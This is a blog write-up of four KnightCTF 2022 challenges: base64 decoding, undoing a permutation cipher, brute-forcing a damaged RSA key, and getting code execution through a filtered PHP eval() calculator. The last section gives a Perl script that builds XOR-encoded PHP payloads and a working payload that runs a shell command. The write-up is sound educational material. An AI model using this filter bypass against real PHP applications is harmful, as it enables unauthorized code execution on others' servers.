Quick note

I’m only posting it now, but KnightCTF actually happened last month (january/2022). Anyway, here are some challenges I solved.

404 Not Found

For this challenge we were given the following link:

https://knightsquad.org/KCTF-2022?cypto=03MTJ3M2NjcfBDdfR2Mz42X1BTefN3MNFDdz0EMTtnRUN0S

This link leads to a 404 error, but looking to the crypto parameter we can see a base64 encoded value. Trying to decode it results in an error, but if we reverse the string it works. So we can retrieve the flag with:

user@host:~$ echo -n "https://knightsquad.org/KCTF-2022?cypto=03MTJ3M2NjcfBDdfR2Mz42X1BTefN3MNFDdz0EMTtnRUN0S" | cut -d = -f 2 | rev | base64 -d 2>/dev/null

KCTF{S0M3t1M3s_y0u_n33d_t0_r3v3rS3}

jumble

This time we have a ciphertext that was encrypted using the code below.

enc.py

def f(t):
    c = list(t)
    for i in range(len(t)):
        for j in range(i, len(t) - 1):
            c[j], c[j+1] = c[j+1], c[j]
    return "".join(c)

if __name__ == "__main__":
    flag = open("flag", "r").read()
    open("ciphertext", "w").write(f(flag))

Analysing this code it is easy to see that it generates a permutation of the input text in a deterministic manner, by swaping adjacent letters within a nested loop. We can easily devise another code that performs the reverse operation by changing the loop to be decrescent:

dec.py

t = open("ciphertext", "r").read()
c = list(t)
for i in range(len(t) - 1, -1, -1):
    for j in range(len(t) - 1, i, -1):
        c[j], c[j - 1] = c[j - 1], c[j]

print("".join(c))

And then we can base64 decode the string to get the flag:

user@host:~$ python dec.py | base64 -d

KCTF{y0u_g0t_m3}

RSA One

We are given two files private.pem and flag.enc. The file flag.enc was encrypted using the public key related to private.pem, however the private key is “corrupted” as one of the characters of the pem file is missing and was replaced with a unicode red “X”.

private.pem

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAyiytHt1AKzYLwZPm1dd9uT7LgsqVj0eSLpheNd0H4xyiZCYG
ZtRYnNtGNnq7A/ubyFalExm61QNewfy71h6xhM/❌IEIoNT0VfMOIzcq0Jmoh+v6k
6/x/3GRkk/vLVolsLbkOKd4aorPMwEsZX4vMd+Sga5Mz0tx5xLFZsbl0r1vvtBl7
CtC/ojWX4+/RSGuaUVVayrU32kyCjJo3hniSaY2EvSXXHdE6nOKkF725LVrnOOIz
1/n9CYrYPV6ESEBdwS7VOen8uPwh5cFGHOV49ofmvVZNvcV2qoKFjY5UXf8fDzZ+
jBzWiCukE+3WFwgEYaBGg/a6HomkobpDqxkrYwIDAQABAoIBABht45FaLLnL8wm2
BGuMeV2b791i+0Vv4YMN2Dxr89sGh7zQN2/PctGpUUed9uEZUw6XIaU4M7IvkRCh
qFTMKqkgrVd4hwE/20vTGMG9H52Qr4Bzqpv1S8Hmw5x6DWzseAziUorOkqtcTH5j
1LIN42wNTTESfW2aRIB26Z6nCSlzHD8jpBYlrBFNsXydApEtA86PPtgs8MUsABFa
Rhy6VG9rNfzaBeRDX1m1lX+yNkqPb3xgABeYgURYgUneiTY/S5GrFfrtRAnLWVm4
audCUkxvF8OV0vJnazcMUopleBonMH2FCl3vKAjTX2xq9X24PeNXDg6SfiEEuI/g
EDtJO1ECgYEAzwBWVwbx/lvc5PP3oYXRr9IpflZ3Z9xSyopY0KpOakAXn6717x6i
s/1DwGvpmFBqUd25vhcn9ztj18GtMCtZ4dNvvyGpPwvM41Z1RVHY5REfC7sgBp8W
0N+IVR2QlyU3pjoS5t19O3g48fhOp8o3wsZ+05RpLtUhNXe0yHxk7fsCgYEA+gfZ
aCr+dgzHfdBOEwwozaRpJANchnGeILSgZZEeYmyE0RuBcatpwxKs+jG82mWYnosN
KR5CZZiPn/laySUQEB5H6Cg/OQDVyj5r49adc2H8hTCluaXtiVyxA3JqV8Ixc9TM
cRWJZdokaDbkyNXCuUuTMinzWjrNBKBZ+zg5w7kCgYBQkjwJEb39mHoJb+CSMUkl
23KlJzjA52QeS+04AyIUfy/yyqIVWeJQlqLZcedxjtNjXB9hGxhGRgqdv1gO6MDK
gob7aTm8PXaZglyRB8OZnals4oAbs66ozGj/YEuYWTco72/OBqYpEKlxnYnYC4Da
wnI5Hoo2XWTYr+hhJPIQIwKBgAxMxo0xUENObaHq1WxqdLdpFyMGZ07V2AmT2TAl
63C8FeyThdKptBI8oPXN7JRx2wgxnvwe2PVWg/pCsgyjHh8s3iy1jianu9yvJW+X
5zb94wZKVlzDpOPVA4A/6KtYikZAea42eQPhr1jRGoAmw+WJqjwVhDs0GVHY8ZRC
N9VBAoGBAJTZwrY+tZkNzURk9JLWzrevfD6BpYrQ0jchaGtzdgjdOpHo3++cdUag
9oQ8ZNKaUVDm3lyzUhO41Hw7xMmmW8JwsVvKdrRL+ZG12Ts/uiy1P0DY+HsNMr9d
xqG9YAHVmm4iJzcHeMdzLwmzR6D/x6+k2cFWwox6PxvA7ikJQEYr
-----END RSA PRIVATE KEY-----

To solve it we just need to find which character was there previously. As it is a pem key, we can be sure that this character was part of the base64 charset, which give us only 64 possibilities to bruteforce. I wrote the following script to do it:

brute.sh

for c in A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9 + ; do
    sed -E "s/❌/$c/" private.pem > key.pem
    openssl rsautl -decrypt -in flag.enc -out flag.txt -inkey key.pem >/dev/null 2>&1
    grep "KCTF{" flag.txt && exit
done

And we get the flag: KCTF{M4Y_TH3_8RUT3F0rc3_B3_W1TH_Y0U}

Most Secure Calculator 2

A classic calculator challenge, this time we get a link to a calculator application written in PHP. As always, we can input a mathematical expression and it is evaluated using the PHP eval() function which is the perfect recipe for RCE. The problem is that our input is filtered so that only some characters are allowed. In particular, any non-numeric character that is not a mathematical, logical or quotation symbol is rejected. We are limited to the following characters:

01234567890+-.%&^[]()_*{}`,;|~#@!=<?:/ "'

Because eval() works recursively evaluating the string, it will try to execute anything that looks like a function call. If we can somehow craft an input using only these symbols that results in valid php, we can execute arbitrary code.

After some time trying without success to bypass the filter, I learned about an interesting feature of PHP in relation to how it handles string operations. It turns out that we can perform XOR operation between two strings directly resulting in a third string like "str1" ^ "str2".

We can exploit this behaviour to write whatever code we like as long as we have the right symbols to XOR. To do this, I wrote the following script:

craft.pl

my $alpha = "/01234567890+-.%&^[]()_*{}`,;|~#@!=<?: ";

my %chars = ();

for my $x (split //, $alpha) {
    for my $y (split //, $alpha) {
        $chars{chr(ord($x) ^ ord($y))} = [ index($alpha, $x), index($alpha, $y) ];
    }
}

sub craft {
    my ($cmd) = @_;
    my $l = "";
    my $r = "";
    for my $c (split //, "system") {
        my ($x, $y) = @{$chars{$c}};
        $l .= substr($alpha, $x, 1);
        $r .= substr($alpha, $y, 1);
    }

    my $payload = '("' . $l . '"^"' . $r . '")(';

    $l = "";
    $r = "";

    for my $c (split //, $cmd) {
        my ($x, $y) = @{$chars{$c}};
        die "Can't use this command" unless $x && $y;
        $l .= substr($alpha, $x, 1);
        $r .= substr($alpha, $y, 1);
    }

    $payload . '("' . $l . '"^"' . $r . '"))';
}
print craft("nl `ls`"), "\n";

Running this script, I got the following payload:

("@@@@:@"^"3934_-")(("@@@ @@ "^".,`@,3@"))

That will execute a nl in every file of the current directory. We can find the flag by searching for the pattern ‘KCTF{‘ on the page: KCTF{sHoUlD_I_uSe_eVaL_lIkE_tHaT}

And that’s all, folks.